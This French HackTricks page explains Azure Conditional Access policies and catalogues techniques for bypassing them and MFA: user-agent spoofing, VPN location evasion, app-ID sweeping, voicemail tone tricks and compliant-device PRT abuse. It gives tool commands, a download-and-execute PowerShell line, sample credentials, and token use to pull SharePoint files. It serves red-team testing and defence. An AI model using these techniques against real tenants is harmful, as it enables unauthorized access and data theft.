Az - Conditional Access Policies & MFA Bypass

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

Informations de base

Les Azure Conditional Access policies sont des rĂšgles configurĂ©es dans Microsoft Azure pour appliquer des contrĂŽles d’accĂšs aux services et applications Azure en fonction de certaines conditions. Ces policies aident les organisations Ă  sĂ©curiser leurs ressources en appliquant les contrĂŽles d’accĂšs appropriĂ©s selon les circonstances.
Les Conditional access policies dĂ©finissent essentiellement Qui peut accĂ©der Quoi depuis OĂč et Comment.

Voici quelques exemples :

  1. Sign-In Risk Policy : cette policy peut ĂȘtre configurĂ©e pour exiger une authentification multifacteur (MFA) lorsqu’un risque de connexion est dĂ©tectĂ©. Par exemple, si le comportement de connexion d’un utilisateur est inhabituel par rapport Ă  son modĂšle habituel, comme une connexion depuis un autre pays, le systĂšme peut demander une authentification supplĂ©mentaire.
  2. Device Compliance Policy : cette policy peut restreindre l’accĂšs aux services Azure uniquement aux appareils conformes aux normes de sĂ©curitĂ© de l’organisation. Par exemple, l’accĂšs pourrait ĂȘtre autorisĂ© uniquement depuis des appareils disposant d’un antivirus Ă  jour ou exĂ©cutant une certaine version du systĂšme d’exploitation.

ÉnumĂ©ration

# Get all the policies from Azure without needing any special permission with (idea from https://github.com/LuemmelSec/APEX/blob/main/APEX.ps1)
az rest --method GET --uri 'https://graph.windows.net/<tenant-id>/policies?api-version=1.61-internal' | jq '.value[] | select(.policyType == 18) | {displayName, policyDetail: (.policyDetail[] | fromjson)}'

# You need Policy.Read.ConditionalAccess or Policy.Read.All permission in Entra ID
az rest --method get --uri "https://graph.microsoft.com/beta/identity/conditionalAccess/policies"

Contournements des politiques d’accùs conditionnel

Il est possible qu’une politique d’accĂšs conditionnel vĂ©rifie des informations qui peuvent ĂȘtre facilement falsifiĂ©es, permettant ainsi un contournement de la politique. Et si par exemple la politique configurait la MFA, l’attaquant pourra la contourner.

Lors de la configuration d’une politique d’accĂšs conditionnel il faut indiquer les utilisateurs affectĂ©s et les ressources cibles (comme all cloud apps).

Il faut aussi configurer les conditions qui vont déclencher la politique :

  • Network: Ip, IP ranges and geographical locations
  • Peut ĂȘtre contournĂ© en utilisant un VPN ou un proxy pour se connecter depuis un pays autorisĂ© ou en rĂ©ussissant Ă  se connecter depuis une adresse IP autorisĂ©e
  • Microsoft risks: User risk, Sign-in risk, Insider risk
  • Device platforms: Any device or select Android, iOS, Windows phone, Windows, macOS, Linux
  • Si “Any device” n’est pas sĂ©lectionnĂ© mais que toutes les autres options le sont, il est possible de le contourner en utilisant un user-agent alĂ©atoire non liĂ© Ă  ces plateformes
  • Client apps: Option are “Browser”, “Mobiles apps and desktop clients”, “Exchange ActiveSync clients” and Other clients”
  • Pour contourner, se connecter avec une option qui n’est pas sĂ©lectionnĂ©e
  • Filter for devices: Il est possible de gĂ©nĂ©rer une rĂšgle liĂ©e Ă  l’appareil utilisĂ©
  • Authentication flows: Options are “Device code flow” and “Authentication transfer”
  • Cela n’affectera pas un attacker Ă  moins qu’il n’essaie d’abuser de l’un de ces protocoles dans une tentative de phishing pour accĂ©der au compte de la victime

Les rĂ©sultats possibles sont : Bloquer ou Accorder l’accĂšs avec des conditions potentielles comme exiger la MFA, que l’appareil soit compliant


Device Platforms - Device Condition

Il est possible de dĂ©finir une condition basĂ©e sur la plateforme de l’appareil (Android, iOS, Windows, macOS
), cependant, cela se base sur le user-agent donc c’est facile Ă  contourner. MĂȘme en exigeant la MFA pour toutes les options, si vous utilisez un user-agent qui n’est pas reconnu, vous pourrez contourner la MFA ou le blocage :

Il suffit que le navigateur envoie un user-agent inconnu (comme Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile) pour ne pas déclencher cette condition.
Vous pouvez changer le user agent manuellement dans les outils de développement :

Ou utiliser une browser extension like this one.

Locations: Countries, IP ranges - Device Condition

Si cela est dĂ©fini dans la politique conditionnelle, un attacker peut simplement utiliser un VPN dans le pays autorisĂ© ou essayer de trouver un moyen d’accĂ©der depuis une adresse IP autorisĂ©e pour contourner ces conditions.

Cloud Apps

Il est possible de configurer des politiques d’accĂšs conditionnel pour bloquer ou forcer, par exemple, la MFA lorsqu’un utilisateur tente d’accĂ©der Ă  une application spĂ©cifique :

Pour essayer de contourner cette protection, vous devez voir si vous pouvez seulement into any application.
L’outil AzureAppsSweep contient des dizaines d’IDs d’applications en dur et tentera de se connecter Ă  celles-ci, vous informera et vous donnera mĂȘme le token si rĂ©ussi.

Pour tester des IDs d’application spĂ©cifiques dans des ressources spĂ©cifiques vous pouvez aussi utiliser un outil tel que :

roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout

<token>

De plus, il est aussi possible de protĂ©ger la mĂ©thode de connexion (par ex. si vous tentez de vous connecter depuis le navigateur ou depuis une application desktop). L’outil Invoke-MFASweep effectue quelques vĂ©rifications pour tenter de contourner ces protections.

L’outil donkeytoken peut aussi ĂȘtre utilisĂ© Ă  des fins similaires, bien qu’il semble non maintenu.

L’outil ROPCI peut Ă©galement ĂȘtre utilisĂ© pour tester ces protections et vĂ©rifier s’il est possible de contourner les MFA ou les blocages, mais cet outil fonctionne selon une perspective whitebox. Vous devez d’abord tĂ©lĂ©charger la liste des Apps autorisĂ©es dans le tenant, puis il tentera de s’y connecter.

Autres contournements MFA Az

Sonnerie

Une option d’Azure MFA est de recevoir un appel sur le numĂ©ro de tĂ©lĂ©phone configurĂ© oĂč il sera demandĂ© Ă  l’utilisateur d’envoyer le caractĂšre #.

Caution

Comme les caractĂšres ne sont que des tonalitĂ©s, un attaquant pourrait compromettre le message de boĂźte vocale du numĂ©ro, configurer comme message la tonalitĂ© de #, puis, lors de la demande MFA, s’assurer que le tĂ©lĂ©phone de la victime est occupĂ© (en l’appelant) pour que l’appel Azure soit redirigĂ© vers la messagerie vocale.

Appareils conformes

Les politiques demandent souvent un appareil conforme ou un MFA, donc un attaquant pourrait enregistrer un appareil conforme, obtenir un PRT et contourner ainsi le MFA.

Commencez par enregistrer un appareil conforme dans Intune, puis obtenez le PRT avec :

$prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\<uuid>.pfx -Credentials $credentials

$prtToken = New-AADIntUserPRTToken -Settings $prtKeys -GertNonce

Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken

<token returned>

Trouvez plus d’informations sur ce type d’attaque sur la page suivante :

Az - Primary Refresh Token (PRT)

Outils

AzureAppsSweep

Ce script rĂ©cupĂšre des identifiants utilisateur et vĂ©rifie s’il peut se connecter Ă  certaines applications.

Ceci est utile pour vĂ©rifier si vous n’ĂȘtes pas obligĂ© d’utiliser MFA pour vous connecter Ă  certaines applications que vous pourriez ensuite abuser pour escalate privileges.

roadrecon

RécupÚre toutes les politiques

roadrecon plugin policies

Invoke-MFASweep

MFASweep est un script PowerShell qui tente de se connecter Ă  divers services Microsoft en utilisant un jeu d’identifiants fournis et d’identifier si MFA est activĂ©. Selon la configuration des conditional access policies et des autres paramĂštres d’authentification multi-facteurs, certains protocoles peuvent rester Ă  un seul facteur. Il inclut aussi une vĂ©rification supplĂ©mentaire pour les configurations ADFS et peut tenter de se connecter au serveur ADFS on-prem si celui-ci est dĂ©tectĂ©.

Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content
Invoke-MFASweep -Username <username> -Password <pass>

ROPCI

Cet outil a aidĂ© Ă  identifier des MFA bypasses puis Ă  abuser des APIs dans plusieurs locataires AAD en production, oĂč des clients AAD croyaient que le MFA Ă©tait appliquĂ©, mais l’authentification basĂ©e sur ROPC a rĂ©ussi.

Tip

Vous devez disposer des autorisations pour lister toutes les applications afin de pouvoir générer la liste des apps à brute-force.

./ropci configure
./ropci apps list --all --format json -o apps.json
./ropci apps list --all --format json | jq -r '.value[] | [.displayName,.appId] | @csv' > apps.csv
./ropci auth bulk -i apps.csv -o results.json

donkeytoken

Donkey token est un ensemble de fonctions visant à aider les consultants en sécurité qui doivent valider les Conditional Access Policies, effectuer des tests pour les portails Microsoft avec 2FA activé, etc.

git clone https://github.com/silverhack/donkeytoken.git
Import-Module '.\donkeytoken' -Force

Testez chaque portail pour vĂ©rifier s’il est possible de login sans MFA:

$username = "conditional-access-app-user@azure.hacktricks-training.com"
$password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue

Parce que le Azure portal n’est pas restreint, il est possible de rĂ©cupĂ©rer un token depuis l’endpoint du portal pour accĂ©der Ă  n’importe quel service dĂ©tectĂ© par l’exĂ©cution prĂ©cĂ©dente. Dans ce cas Sharepoint a Ă©tĂ© identifiĂ©, et un token pour y accĂ©der est demandĂ©:

$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
Read-JWTtoken -token $token.access_token

Si le token possĂšde la permission Sites.Read.All (de Sharepoint), mĂȘme si vous ne pouvez pas accĂ©der Ă  Sharepoint via le web Ă  cause de MFA, il est possible d’utiliser le token gĂ©nĂ©rĂ© pour accĂ©der aux fichiers :

$data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl

Références

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks